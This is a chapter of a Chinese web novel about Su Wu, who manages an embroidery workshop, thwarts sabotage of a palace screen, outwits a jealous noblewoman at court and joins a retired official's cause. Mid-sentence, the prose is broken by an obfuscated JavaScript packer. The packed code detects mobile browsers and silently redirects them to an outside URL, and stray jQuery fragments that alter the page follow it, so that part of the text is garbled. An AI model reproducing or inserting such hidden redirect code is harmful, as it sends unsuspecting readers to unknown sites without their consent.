暮春的京城，褪去了隆冬的凛冽，护城河畔的柳丝抽了新绿，街边的海棠开得如云似霞，锦绣阁的朱红大门前，车马往来比往日更甚，门楣上的黑底金字牌匾，在春日的阳光下熠熠生辉。自苏芜执掌账房与纹样设计以来，不过三月光景，这京城里最大的绣坊，便焕发出了全然不同的生机。
苏芜的偏房，成了锦绣阁最热闹的地方。原本不过是一间简陋的厢房，被她拾掇得干净雅致，靠窗摆着一张梨花木桌，桌上铺着素色锦缎，摆着炭笔、宣纸、丝线样本，还有一架小巧的算盘，桌角堆着厚厚的账目册，每一本都记得工工整整，字迹虽算不上娟秀，却笔笔清晰，力透纸背。青禾总守在桌边，替她磨墨、理线、整理账目，偶尔也会拿着绣绷，请教纹样的绣制技巧，苏芜便一边拨着算盘，一边轻声指点，眉眼间没有半分身居高位的倨傲，依旧是那副温润坚定的模样。
初时，绣坊里的老绣娘们还有诸多不服。她们大多在锦绣阁做了十几年，手艺精湛，见苏芜不过是个乡下来的杂役，一朝登天便执掌纹样设计，心里难免憋着气。有资历最老的张绣娘，曾是张嬷嬷的心腹，更是处处作对，苏芜设计的新纹样，她总挑三拣四，说“乡野路子登不得大雅之堂”，苏芜让她按新纹样绣制，她便阳奉阴违，依旧按着老样子绣，绣出来的东西不伦不类。
苏芜从未与她争辩，只是当着温氏和所有绣娘的面，取来张绣娘的绣品，又取来自己按新纹样绣的小样，两相对比。张绣娘的绣品，牡丹开得雍容却刻板，线条僵硬，毫无生气；而苏芜的小样，不过是寸许的荷莲，叶边带着晨露，蜻蜓停在荷尖，翅膀的薄纱用晕针绣制，近乎透明，连翅脉都清晰可见，一眼望去，仿佛能嗅到荷塘的清润，感受到蜻蜓振翅的微风。
“绣娘的手艺，在于针脚，更在于心意。”苏芜的声音不高，却字字清晰，“宫廷的富贵纹样固然好看，可看久了便觉乏味。如今世家贵女，皆喜清新灵动之物，寻常百姓，也爱贴近生活的纹样。我设计的纹样，不过是把乡野间的鲜活，融进绣品里，让绣品有了生气，而非只是一块绣了花的锦缎。”
她说着，又拿起张绣娘绣坏的锦缎，用炭笔在上面稍作修改，将刻板的牡丹旁添了几枝疏朗的竹枝，又在花瓣边点了几只飞舞的蝴蝶，瞬间便让整幅绣品活了过来：“绣活不是墨守成规，而是顺势而为。张绣娘手艺精湛，只是被老路子困住了，若能放开手脚，绣出来的东西，定然比我更好。”
苏芜的话，既点出了问题，又给足了张绣娘脸面，再加上那一手出神入化的改纹技巧，让在场的绣娘们心服口服。张绣娘红了脸，低头说了句“受教了”，此后便再也不与苏芜作对，反倒成了最拥护她的绣娘，将苏芜的纹样绣得惟妙惟肖。
苏芜也从未藏私，她将自己的绘纹技巧，还有从乡野间悟来的自然之法，尽数教给绣娘们。她教她们观察院中的花草、枝头的雀鸟，让她们把看到的鲜活，融进针脚里；她教她们根据不同的锦缎质地，调整绣法，让纹样与锦缎融为一体；她还根据每个绣娘的特长，分配不同的纹样绣制，手巧的绣精细的花鸟，力气大的绣大气的山水，让每个人的本事都能发挥到极致。
短短三月，锦绣阁的绣品便彻底变了模样。荷莲蜻蜓、竹枝雀鸟、丹桂秋菊，这些带着乡野清趣的纹样，取代了往日刻板的富贵牡丹，成了京城里的新潮流。世家贵女争相定制绣帕、绣裙，寻常百姓也舍得买上一方绣着小花的荷包，连宫里的尚衣局，都派人来锦绣阁，取了新纹样的样本回去参考。
账房这边，苏芜更是打理得井井有条。她将张嬷嬷留下的糊涂账一一理清，剔除了那些吃回扣的采买商，重新挑选了诚信可靠的供货商，将绸缎、丝线的价格压到最低，却保证质量；她还制定了新的账册制度，每日的采买、销售、绣娘的月钱，都记在专门的账册上，一日一结，一月一查，任何人都做不了手脚。温氏看过新的账目册，看着翻了近一倍的收益，对苏芜愈发信任，索性将锦绣阁的大小事务，都交给了苏芜打理，自己只偶尔来绣坊看看，落个清闲。
苏芜依旧不敢懈怠，每日天不亮便起床，先梳理前一日的账目，再根据订单设计新的纹样，晌午陪着绣娘们一起绣制，解决她们遇到的问题，傍晚又核对当日的采买，常常忙到深夜。青禾总心疼她，偷偷给她留着温热的莲子羹，劝她歇一歇，苏芜却只是笑，揉了揉青禾的头：“如今锦绣阁正是站稳脚跟的时候，不能有半分差错。等一切安稳了，我便陪你去护城河畔看柳花。”
青禾便点点头，把莲子羹推到她面前，又拿起账册帮她核对，小小的身影，成了苏芜身边最坚实的依靠。王大也依旧守着锦绣阁的后院，挑水劈柴，搬抬布料，谁要是敢在绣坊里说苏芜一句坏话，他第一个不依，成了苏芜的“护院”。绣坊里的人，从上到下，都对苏芜心服口服，往日里的勾心斗角，被一股融融的暖意取代，锦绣阁的日子，仿佛也像这春日的光景，一路向好。
可苏芜心里清楚，京城的繁华之下，从来都藏着暗流，锦绣阁的风头太盛，迟早会引来旁人的觊觎。她的预感，很快便成了现实。
这日午后，尚衣局的掌事姑姑亲自来了锦绣阁，身后跟着十几个宫女，抬着几匹御赐的云锦，还有一道明黄色的圣旨。温氏和苏芜连忙接旨，圣旨上写着，贵妃娘娘生辰将至，命锦绣阁在一月之内，绣制一幅六尺见方的百鸟朝凤绣屏，作为寿礼，若是绣得合心意，便封锦绣阁为“宫廷专供绣坊”，往后宫里的绣品，皆由锦绣阁承制。
这是天大的恩典，也是天大的考验。六尺见方的绣屏，百鸟朝凤，工序繁杂，寻常绣坊至少要三个月才能完成，而尚衣局只给了一月时间；更何况，贵妃娘娘性情挑剔，对绣品要求极高，若是有半分不满意，不仅恩典泡汤，还可能获罪。
温氏接过圣旨，脸上满是喜色，却也藏着担忧，拉着苏芜的手道：“苏芜，这是锦绣阁千载难逢的机会，只是时间太紧，难度太大，你可有把握？”
苏芜看着那几匹御赐的云锦，云锦质地柔软，色泽艳丽，是绣制绣屏的绝佳材料，她又想起圣旨里的百鸟朝凤，往日的百鸟朝凤，凤鸟居于正中，姿态威严，百鸟环绕，却依旧刻板，若是能做出新意，定能让贵妃娘娘满意。她沉吟片刻，抬眼看向温氏，眼底满是坚定：“东家放心，奴婢定不辱命，一月之内，必绣出百鸟朝凤绣屏。”
掌事姑姑见苏芜年纪轻轻，却语出坚定，眼底闪过一丝诧异，随即笑道：“温东家，这位便是苏姑娘吧？早听说锦绣阁出了个能设计新纹样的才女，今日一见，果然气度不凡。贵妃娘娘的寿礼，可就拜托苏姑娘了，若是绣得好，姑姑在娘娘面前，定然为苏姑娘美言。”
苏芜躬身行礼，道：“劳烦掌事姑姑费心，奴婢定竭尽全力。”
掌事姑姑又叮嘱了几句，便带着宫女离开了。温氏看着苏芜，松了口气：“有你这句话，我便放心了。绣坊里的所有人，都由你调遣，需要什么材料，只管说，哪怕是寻遍京城，我也给你找来。”
“谢东家。”苏芜道，“奴婢只需绣坊的绣娘们齐心协力，再寻些上好的金线、孔雀羽线，便足够了。”
接下来的日子，锦绣阁便进入了紧张的赶工状态。苏芜将绣娘们分成六组，每组负责绣制一种鸟类，张绣娘手艺最精湛，负责绣制正中的凤鸟，苏芜则亲自设计纹样，指导绣制。往日里的百鸟朝凤，凤鸟皆是金红相间，居于正中，翅膀僵硬，而苏芜设计的凤鸟，以御赐云锦的绯红为底，用金线绣制羽毛，孔雀羽线绣制尾羽，尾羽舒展，如流云般散开，凤鸟的姿态，不是威严的立姿，而是振翅欲飞的模样，仿佛下一秒便要从绣屏上飞出来。
百鸟也并非刻板的环绕，而是或飞、或鸣、或栖，燕子掠过枝头，黄鹂停在花间，仙鹤立于石上，麻雀穿梭于草丛，每一只鸟都姿态各异，鲜活灵动，连鸟的羽毛，都根据不同的种类，用不同的绣法绣制，麻雀的羽毛用短针，蓬松柔软；仙鹤的羽毛用长针，疏朗飘逸；黄鹂的羽毛用晕针，色泽艳丽。苏芜还在绣屏的边角，添了几枝盛开的海棠，海棠的花瓣用薄纱绣制，近乎透明，与百鸟相映成趣，整幅绣屏，既有宫廷的富贵大气，又有乡野的鲜活灵动，一眼望去，便让人移不开眼。
绣娘们都被这新颖的纹样惊艳了，个个卯足了劲，日夜赶工，苏芜也守在绣坊里，日夜不休，一会儿指导绣娘们的针脚，一会儿修改纹样的细节，累了便靠在桌边歇片刻，喝一口青禾递来的茶水，便又继续忙活。青禾也跟着一起绣，小小的手捏着绣针，绣得格外认真，王大则守在绣坊门口，不许任何人随意进出，生怕打扰了绣娘们赶工。
一切都在有条不紊地进行着，眼看绣屏就要完成，意外却发生了。
这日清晨，苏芜像往常一样去绣坊查看绣屏，刚走进绣坊，便看到张绣娘瘫坐在地上，脸色惨白，绣屏被扔在一旁，凤鸟的尾羽被人剪去了一大片，原本绣得精致的尾羽，变得残缺不全，而绣屏的角落，还被人用墨汁涂了一大团黑渍，乌黑的墨汁渗进云锦，根本无法清洗。
绣娘们都围在一旁，惊慌失措，议论纷纷：“这可怎么办？还有十天就要交绣屏了，凤鸟的尾羽被剪，墨汁涂了云锦，根本补不好啊！”
“是谁这么狠心？竟然做出这样的事！这可是御赐的云锦，弄坏了是要杀头的！”
“肯定是有人故意陷害我们锦绣阁，不想让我们做成这宫廷订单！”
苏芜的心头一沉，快步走到绣屏前，蹲下身查看。凤鸟的尾羽是用珍贵的孔雀羽线绣制的，被人用剪刀齐齐剪去，边缘参差不齐，而墨汁是最浓的松烟墨，渗进了云锦的纹路里，确实难以清洗。她的目光扫过绣坊，地上有几滴散落的墨汁，还有一根不属于绣坊的银簪，簪子上刻着一朵精致的牡丹，一看便是贵女的饰物。
青禾也慌了，拉着苏芜的手道：“苏芜姐姐，这可怎么办？是谁干的？我们要不要报官？”
苏芜深吸一口气，压下心底的慌乱，站起身，对着众人沉声道：“大家都冷静点，不过是一点小意外，还能补救。报官的事，暂且不提，若是闹到官府，惊动了尚衣局，贵妃娘娘怪罪下来，我们都担待不起。”
她的声音平静，却带着一股安定人心的力量，绣娘们渐渐安静下来，看着她道：“苏姑娘，那你说，这绣屏还能补好吗？”
“能。”苏芜的目光落在绣屏上，眼底闪过一丝笃定，“凤鸟的尾羽被剪，我们便换一种纹样，将残缺的部分，绣成流云绕凤；墨汁的黑渍，我们便在上面绣成一朵墨菊，以墨为底，用金线绣制花瓣，反倒能添几分雅致。只是需要大家再加把劲，日夜赶工，定能在十日之内补好。”
众人见苏芜胸有成竹，都松了口气，纷纷点头：“我们听苏姑娘的，哪怕不睡觉，也要把绣屏补好！”
苏芜点点头，安排绣娘们立刻开始补绣，又让青禾去取金线和新的孔雀羽线，自己则拿着炭笔，在绣屏上勾勒新的纹样，流云绕凤，墨菊映海棠，原本的残缺，竟被她勾勒出了另一番美感。
可苏芜的心里，却清楚地知道，这绝不是意外，而是有人故意陷害。那根银簪，还有地上的墨汁，都指向了一个人——京城柳太傅家的庶女，柳清柔。
柳清柔，是京城里出了名的骄纵贵女，仗着柳太傅的权势，横行霸道，目空一切。她与温氏是旧识，却一向嫉妒温氏的锦绣阁生意兴隆，前些日子，她来锦绣阁挑选绣品，见苏芜不过是个乡野女子，却能执掌锦绣阁的大权，温氏对她言听计从，心里便生出了嫉妒，当场便出言嘲讽，说苏芜“一身泥腥气，不配设计贵女的绣品”。
苏芜当时并未与她争辩，只是淡淡回了句“绣品无贵贱，心意最珍贵”，便转身离开了。柳清柔觉得自己丢了脸面，当场便摔了绣品，骂骂咧咧地走了。苏芜便料到，她定然会伺机报复，只是没想到，她竟如此大胆，敢弄坏御赐的云锦绣屏。
那根银簪，苏芜曾见过，柳清柔来锦绣阁时，头上便插着这样一根牡丹银簪。而松烟墨，是柳家书房常用的墨，寻常人家，根本用不起这样名贵的墨。
证据确凿，可苏芜却不能立刻找柳清柔对质。柳太傅是朝堂上的重臣，权倾朝野，若是没有十足的把握，不仅扳不倒柳清柔，还会让锦绣阁陷入万劫不复之地。苏芜只能压下心底的怒火，一边让绣娘们赶工补绣屏，一边暗中调查，收集柳清柔陷害锦绣阁的证据。
她让王大悄悄去柳府附近打探，又让账房先生查锦绣阁的采买记录，看看有没有人接触过柳清柔。不出三日，王大便带回了消息，说绣坊里的一个小绣娘，前几日偷偷见过柳清柔，柳清柔给了她一百两银子，让她弄坏绣屏。而账房先生也查到，那个小绣娘，近日突然买了许多名贵的首饰，根本不是她的月钱能负担的。
苏芜看着眼前的证据，眼底闪过一丝冷意。那个小绣娘，名叫春桃，是张嬷嬷的远房侄女，张嬷嬷被赶出锦绣阁后，她便一直心怀怨恨，柳清柔正是抓住了她的这点心思，收买了她。
苏芜没有立刻拆穿春桃，只是像往常一样，让她参与绣屏的补绣，却暗中让青禾和张绣娘盯着她，不让她再有机会破坏绣屏。春桃心里有鬼，做事总是心不在焉，绣的针脚歪歪扭扭，苏芜便借着这个由头，将她调到后院，让她做浆洗的活，彻底远离了绣屏。
十日的时间，转瞬即逝。绣娘们日夜赶工，苏芜也守在绣坊里，寸步不离，终于在尚衣局来取绣屏的前一日，将绣屏补好。补好的绣屏，比原本的设计更胜一筹，流云绕着凤鸟的尾羽，如仙境般缥缈，墨菊开在海棠边，黑白相映，雅致大气，百鸟依旧鲜活，凤鸟振翅欲飞，整幅绣屏，浑然天成，找不出半分瑕疵。
温氏看着绣屏，喜极而泣，拉着苏芜的手道：“苏芜，你真是锦绣阁的福星！这绣屏，比我想象的还要好，贵妃娘娘定然会喜欢！”
苏芜笑了笑，道：“这都是绣娘们齐心协力的功劳，奴婢不过是做了些分内之事。”
第二日，尚衣局的掌事姑姑亲自来了锦绣阁，身后跟着抬绣屏的宫人。掌事姑姑看到绣屏的那一刻，眼睛瞬间亮了，绕着绣屏走了三圈，连连赞叹：“好！好一幅百鸟朝凤绣屏！贵妃娘娘见了，定然会龙颜大悦！苏姑娘的手艺，真是绝了！”
她说着，又看向苏芜，眼底满是欣赏：“苏姑娘年纪轻轻，竟有如此才华，真是难得。姑姑这就把绣屏送进宫，定在娘娘面前，为苏姑娘和锦绣阁美言。”
苏芜躬身行礼，道：“劳烦掌事姑姑。”
掌事姑姑带着宫人，抬着绣屏，欢欢喜喜地走了。绣坊里的绣娘们，都欢呼起来，连日来的疲惫，都化作了喜悦。苏芜看着众人的笑脸，也松了口气，可她知道，柳清柔不会善罢甘休，这一次的陷害失败，她定然会想出更恶毒的法子。
果然，不出三日，宫里便传来消息，贵妃娘娘对百鸟朝凤绣屏极为满意，下旨封锦绣阁为“宫廷专供绣坊”，赏了温氏和苏芜许多珍宝，还特意宣苏芜进宫，想要见一见这位设计出如此精美纹样的才女。
消息传到柳府，柳清柔气得摔了一屋子的东西，将桌上的茶盏扫落在地，尖叫道：“苏芜那个贱婢！竟然还能翻身！本宫定要让她身败名裂，死无葬身之地！”
一旁的侍女吓得瑟瑟发抖，不敢出声。柳清柔喘着粗气，眼底闪过一丝阴狠，她走到窗边，看着远处的皇宫，嘴角勾起一抹恶毒的笑：“苏芜，你不是喜欢设计纹样吗？你不是想进宫见贵妃娘娘吗？本宫便让你进宫，只是这宫墙之内，可不是你想进就能进，想走就能走的！”
苏芜接到进宫的旨意时，正在设计新的宫廷纹样，青禾拿着圣旨跑进来，脸上满是喜色：“苏芜姐姐，宫里传旨了，贵妃娘娘要见你！”
苏芜放下炭笔，接过圣旨，眼底闪过一丝平静。她知道，进宫既是恩典，也是危机，柳清柔定然会在宫里等着她，给她设下陷阱。可她没有选择，只能进宫，若是能得到贵妃娘娘的赏识，锦绣阁便能在京城彻底站稳脚跟，若是躲着不去，反倒落了把柄，让柳清柔有机可乘。
温氏也赶来偏房，看着苏芜道：“苏芜，进宫见驾，非同小可，你一定要小心谨慎，言多必失，贵妃娘娘问什么，你便答什么，切勿多言。柳清柔定然会在宫里找你的麻烦，你切记，忍一时风平浪静，切勿与她硬碰硬。”
“奴婢知道了，东家放心。”苏芜道，“奴婢定当小心，不会给锦绣阁惹麻烦。”
温氏点点头，让人取来一身新的青布衣裙，给苏芜换上，又替她整理了发髻，叮嘱道：“你虽只是绣坊的女眷，可也是奉了圣旨进宫，不必太过卑微，也不可太过张扬，不卑不亢，便是最好。”
苏芜躬身道谢，又拉过青禾的手，道：“青禾，我进宫之后，绣坊里的事，便拜托你和张绣娘打理，若是有什么事，便让人去温府找东家，切勿自作主张。”
青禾点点头，眼眶红红的：“苏芜姐姐，你一定要小心，我在绣坊等你回来。”
王大也赶来，对着苏芜道：“苏姑娘，我送你到宫门口，若是宫里有什么动静，我便立刻回绣坊报信。”
苏芜点点头，谢过众人，便跟着传旨的宫人，朝着皇宫走去。
皇宫的朱红大门，巍峨矗立，宫墙高耸，青砖黛瓦，透着一股威严与冰冷。苏芜跟在宫人身后，一步步走进宫墙，脚下的青石板路，光滑如镜，映着她的身影，两旁的宫灯高悬，雕梁画栋，金碧辉煌，却让人觉得压抑。
她跟着宫人走到御花园的沁芳亭，贵妃娘娘正与几位贵女坐在亭中赏花，柳清柔也在其中，穿着一身粉色的锦裙，头上插着金步摇，见苏芜走来，嘴角勾起一抹讥讽的笑，眼底满是不屑。
苏芜躬身行礼，声音清亮：“奴婢苏芜，参见贵妃娘娘，娘娘金安。”
贵妃娘娘抬眼看向苏芜，见她虽穿着普通的青布衣裙，却身姿挺拔，眉眼坚定，毫无半分怯意，眼底闪过一丝诧异，随即笑道：“你便是苏芜？抬起头来，让本宫看看。”
苏芜缓缓抬头，目光平视，不卑不亢。贵妃娘娘看着她的眉眼，点了点头：“果然是个灵秀的姑娘，难怪能设计出那般精美的百鸟朝凤绣屏。本宫看了那绣屏，甚是喜欢，你的心思，倒是巧得很。”
“谢娘娘夸奖，奴婢只是略懂绘纹，不敢当娘娘的夸赞。”苏芜道。
“你倒是谦虚。”贵妃娘娘笑了笑，指着亭中的一张石桌，“来，坐在这里，陪本宫说说话。本宫听说，你设计的纹样，皆是乡野间的花鸟，倒是与宫里的纹样大不相同，你是怎么想到的？”
苏芜谢过贵妃娘娘，坐在石桌旁，道：“奴婢出身乡野，自小见惯了山间的花鸟草木，那些鲜活的景致，都刻在了奴婢的心里。奴婢觉得，绣品本就是为了装点生活，若是少了鲜活的心意，便失了趣味，所以便将乡野间的景致，融进了纹样里，没想到能入娘娘的眼。”
贵妃娘娘闻言，更是喜欢：“说得好！宫里的绣品，太过刻板，倒是你这乡野的路子，更合本宫的心意。往后宫里的绣品，便都由你设计，尚衣局的绣娘们，也由你指点，你可愿意？”
这又是天大的恩典，若是答应，苏芜便成了宫里的御用纹样设计师，锦绣阁的地位，便无人能撼动。可苏芜却躬身道：“娘娘抬爱，奴婢感激不尽，只是奴婢身为民女，粗鄙无知，恐难当此任。况且锦绣阁还有诸多事务，奴婢离不开，只能替娘娘设计纹样，指点尚衣局的绣娘们，却不能留在宫里。”
她知道，宫墙之内，步步惊心，若是留在宫里，便成了各方势力争夺的棋子，身不由己。她只想守着锦绣阁，守着青禾和一众绣娘们，安稳度日，不愿卷入宫廷的纷争。
贵妃娘娘见她拒绝得干脆，却又言辞恳切，眼底闪过一丝欣赏，道：“你倒是个通透的姑娘，不贪慕富贵，难能可贵。也罢，便依你，你只需替本宫设计纹样，指点尚衣局的绣娘们便可，不必留在宫里。”
“谢娘娘体恤。”苏芜躬身道谢。
一旁的柳清柔见贵妃娘娘对苏芜如此赏识，心里的嫉妒更甚，她端起桌上的茶盏，走到苏芜面前，故作娇柔地笑道：“苏姑娘真是好本事，不过是乡野间的丫头，竟能得到贵妃娘娘的如此厚爱，真是让人羡慕。只是不知，苏姑娘的手艺，是不是真的像传闻中那般好？不如今日，便在娘娘面前露一手，让我们开开眼界如何？”
她说着，便将手中的茶盏，朝着苏芜的身上泼去，滚烫的茶水，朝着苏芜的脸颊和衣裙泼来，柳清柔的眼底，闪过一丝阴狠，她要让苏芜在贵妃娘娘面前出丑，让贵妃娘娘厌弃她。
周围的贵女们都惊呼起来，贵妃娘娘也皱起了眉头。苏芜却反应极快，侧身避开，滚烫的茶水擦着她的衣袖飞过，洒在地上，溅起几滴水花。她稳稳地站在原地，衣衫未湿，眉眼依旧平静，看着柳清柔，淡淡道：“柳姑娘，好端端的，为何要泼奴婢茶水？”
柳清柔见苏芜避开了，心里有些恼怒，却故作无辜地笑道：“哎呀，真是不好意思，苏姑娘，本宫不是故意的，只是手滑了。看来苏姑娘的身手，倒是比绣活还好，难怪能在锦绣阁里，一手遮天。”
她的话，意有所指，暗指苏芜在锦绣阁里横行霸道，手段狠辣。
苏芜却不恼，只是淡淡道：“柳姑娘说笑了，奴婢只是反应快了些。至于锦绣阁，不过是东家信任，绣娘们齐心协力，并非奴婢一手遮天。柳姑娘出身名门，知书达理，想必也知道，随意泼人茶水，并非贵女所为。”
她的话，不卑不亢，既反驳了柳清柔的暗指，又点出了她的失礼，让柳清柔的脸色一阵红一阵白。
贵妃娘娘也看出了柳清柔的故意，脸色沉了下来，道：“清柔，休得无礼！苏姑娘是本宫请来的客人，你怎可如此对待？还不快向苏姑娘道歉！”
柳清柔没想到贵妃娘娘会当众斥责她，心里又气又恨，却不敢违抗贵妃娘娘的旨意，只能不情不愿地对着苏芜道：“苏姑娘，对不起，本宫不是故意的。”
“柳姑娘言重了，奴婢不敢当。”苏芜淡淡道，并未接受她的道歉，也并未得寸进尺，点到即止。
贵妃娘娘看着苏芜的模样，更是满意，觉得她识大体，有分寸，便对着身边的侍女道：“取本宫的玉镯来，赏给苏姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239932|197681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，算是本宫给她的赔罪，让她受了惊吓。”
侍女取来一只羊脂玉镯，玉质温润，雕工精美，苏芜躬身推辞：“娘娘厚爱，奴婢不敢受，此事并非娘娘的错，奴婢怎敢受娘娘的赏赐。”
“让你拿着，你便拿着。”贵妃娘娘笑道，“这是本宫的心意，你若是不收，便是不给本宫面子。”
苏芜见贵妃娘娘心意已决，便躬身道谢，接过玉镯：“谢娘娘赏赐。”
随后，贵妃娘娘又与苏芜聊了许久，皆是关于纹样设计的事，苏芜对答如流，提出的想法，都让贵妃娘娘眼前一亮。直到日暮，苏芜才告退，贵妃娘娘又赏了她许多珍宝，让宫人送她出宫。
走出皇宫的朱红大门，苏芜才长长地舒了一口气，宫墙之内的压抑，让她浑身不自在。王大守在宫门口，见她出来，连忙迎上来：“苏姑娘，你没事吧？里面没出什么事吧？”
苏芜摇了摇头，道：“没事，一切顺利，我们回绣坊吧。”
她坐上马车，看着手中的羊脂玉镯，眼底闪过一丝冷意。柳清柔今日在宫里的刁难，不过是个开始，往后的日子，她定然还会有更多的算计。而皇宫的恩典，也让锦绣阁站在了风口浪尖，朝堂上的各方势力，定然会注意到锦绣阁，往后的路，只会更难走。
回到锦绣阁，青禾和一众绣娘们都围了上来，见她平安回来，都松了口气。苏芜将宫里的事一一说与众人听，温氏听后，也松了口气，道：“还好你机智，躲过了柳清柔的刁难，还得到了贵妃娘娘的赏识，真是万幸。”
“只是万幸而已。”苏芜道，“柳清柔不会善罢甘休，朝堂上的势力，也会注意到锦绣阁，我们往后，要更加小心。”
温氏点点头，道：“你说得对，只是如今我们有贵妃娘娘的赏识，柳清柔也不敢太过放肆。只是朝堂上的事，我们一介女流，不懂也插不上手，若是能有贵人相助，便好了。”
苏芜的心底，也生出了这样的念头。她如今的力量，太过微薄，若是想保护锦绣阁，保护身边的人，必须要有贵人相助，要有足够的力量，对抗柳清柔和朝堂上的奸佞势力。而她心里，已经有了一个人选——温庭远。
温庭远，温氏的叔父，前太子太傅，因不满朝堂上奸佞当道，贵妃的兄长丞相魏忠贤专权，便辞官归隐，居于京城的温府，闭门不出。他是朝堂上的忠良之臣，心系天下，虽归隐田园，却依旧在暗中联络忠良之士，想要扳倒魏忠贤，还朝堂一个清明。
温氏曾与苏芜提起过温庭远，说他学识渊博，洞察人心，只是性情孤傲，不轻易接见外人。苏芜觉得，若是能得到温庭远的指点，甚至相助，她便能看清朝堂的暗流，找到对抗柳清柔和魏忠贤的方法，让锦绣阁在这乱世之中，站稳脚跟。
只是温庭远归隐多年，不轻易接见外人，苏芜一个乡野出身的绣坊女眷，想要见他，并非易事。
机会，却来得比苏芜想象的更快。
几日后，温氏派人来绣坊，请苏芜去温府赴宴，说是温庭远听闻了她的事，想要见一见她。苏芜听到消息时，正在设计新的宫廷纹样，手中的炭笔一顿，眼底闪过一丝惊喜，她立刻放下炭笔，整理了衣衫，便跟着来人，朝着温府走去。
温府居于京城的西巷，远离闹市，朱红的大门紧闭，门旁种着几株翠竹，透着一股清雅的气息。走进温府，庭院深深，假山流水，亭台楼阁，皆透着一股书卷气，与柳府的奢华截然不同。
苏芜跟着来人走到书房，温氏正站在书房门口，见她走来，笑道：“苏芜，你可来了，叔父正在书房里等你，他的性子孤傲，你进去之后，切勿多言，他问什么，你便答什么。”
苏芜点点头，道：“奴婢知道了。”
温氏推开书房的门，苏芜躬身走了进去。书房很大，四壁皆摆满了书籍，书卷的墨香扑面而来，书桌后，坐着一位须发皆白的老者，老者穿着一身素色的儒衫，面容清癯，眼神却炯炯有神，透着一股洞察一切的智慧，正是温庭远。
苏芜躬身行礼，道：“民女苏芜，见过温太傅。”
温庭远抬眼看向苏芜，目光如炬，扫过她的全身，仿佛能看透她的心底。苏芜被他的目光看着，却依旧身姿挺拔，不卑不亢，眼底没有半分怯意。
许久，温庭远才开口，声音苍老却有力：“你便是苏芜？那个从乡野来的，执掌锦绣阁，设计出百鸟朝凤绣屏的姑娘？”
“正是民女。”苏芜道。
“抬起头来。”温庭远道。
苏芜缓缓抬头，与他的目光对视，眼底平静，毫无波澜。
温庭远看着她的眉眼，点了点头：“不错，眼神坚定，身姿挺拔，虽是乡野出身，却有一身傲骨，难怪能在京城站稳脚跟，还能躲过柳清柔的刁难，得到贵妃的赏识。”
苏芜道：“太傅过奖，民女不过是运气好，有东家相助，绣娘们齐心协力，才得以站稳脚跟。”
“运气？”温庭远笑了笑，“在这京城，在这乱世，光有运气，是远远不够的。你能从杂役做到锦绣阁的执掌人，能设计出惊艳宫廷的纹样，能在柳清柔的刁难下全身而退，靠的不是运气，是你的智慧，你的韧性，你的通透。”
他的话，一语道破了苏芜的本事，让苏芜的心底，生出一丝敬佩。
温庭远又道：“我听说，你不仅会绘纹，还会理账，甚至懂些草药知识，是吗？”
“民女自小在乡野长大，为了活下去，便学了些粗浅的本事，不值一提。”苏芜道。
“粗浅的本事？”温庭远摇了摇头，“能把锦绣阁的账目打理得井井有条，让收益翻一倍，这可不是粗浅的本事；能懂草药，救人性命，也不是粗浅的本事；能从乡野走到京城，从杂役做到宫廷御用设计师，这更不是粗浅的本事。苏芜，你是个难得的人才，若是只守着一个锦绣阁，未免太过可惜。”
苏芜躬身道：“民女出身微寒，不敢奢求太多，只求能守着锦绣阁，守着身边的人，安稳度日，便足矣。”
“安稳度日？”温庭远的目光沉了下来，看向窗外，“如今大靖王朝，皇权渐弱，魏忠贤专权，柳太傅之流趋炎附势，奸佞当道，民不聊生，这天下，早已没有安稳之地。你以为，守着一个锦绣阁，便能安稳度日吗？柳清柔今日能陷害你弄坏绣屏，明日便能联合魏忠贤，抄了你的锦绣阁，取了你的性命。在这乱世，想要安稳度日，唯有手握力量，唯有站在高处，唯有拨乱反正，还天下一个清明。”
他的话，字字铿锵，敲在苏芜的心底。苏芜也知道，这天下早已没有安稳之地，可她只是一介女流，出身微寒，纵使有几分本事，又能做些什么？
仿佛看穿了她的心思，温庭远道：“你以为，一介女流，便不能有所作为吗？古有穆桂英挂帅，樊梨花征西，女子未必不如男。你有智慧，有韧性，有通透的心思，还有过目不忘的天赋，若是加以点拨，定能成为搅动这天下的力量。锦绣阁虽是绣坊，却连接着宫廷与民间，你的纹样，能走进深宫，能传遍民间，这便是你的力量。”
苏芜的心底，掀起了惊涛骇浪。她从未想过，自己的绣坊，自己的纹样，竟能成为搅动天下的力量。温庭远的话，像一盏明灯，照亮了她前行的路，让她看清了自己的力量，也看清了这天下的暗流。
她躬身道：“太傅所言，让民女茅塞顿开。只是民女愚钝，不知该如何做，还望太傅指点。”
温庭远看着她，眼底闪过一丝欣慰，道：“你能想通，便是最好。我今日见你，便是想点拨你一二。往后，你只需守好锦绣阁，用你的纹样，连接宫廷与民间，替我收集朝堂与民间的消息。锦绣阁的绣品，能走进各个世家，各个府邸，那些绣品的纹样，便能成为你传递消息的工具。我会教你读书识字，教你洞察人心，教你应对朝堂的纷争，让你拥有足够的力量，保护自己，保护身边的人，甚至，改变这天下。”
这是一份沉甸甸的托付，也是一份沉甸甸的期望。苏芜知道，若是答应，她便会卷入朝堂的纷争，从此身不由己，前路布满荆棘，甚至可能丢掉性命。可若是不答应，她便只能守着锦绣阁，任人宰割，柳清柔和魏忠贤的刀，迟早会架在她的脖子上。
更重要的是，温庭远的话，让她的心底，生出了一丝从未有过的念头。她不再只是想活下去，不再只是想守着锦绣阁，她想拥有力量，想保护那些和她一样出身微寒，被人欺凌的人，想让这天下，少一些奸佞，多一些清明，让像她和青禾一样的孤女，能有一个安稳的容身之所。
苏芜跪在地上，对着温庭远重重一拜，声音坚定：“民女苏芜，愿听太傅指点，愿为太傅所用，愿为这天下的清明，尽绵薄之力！”
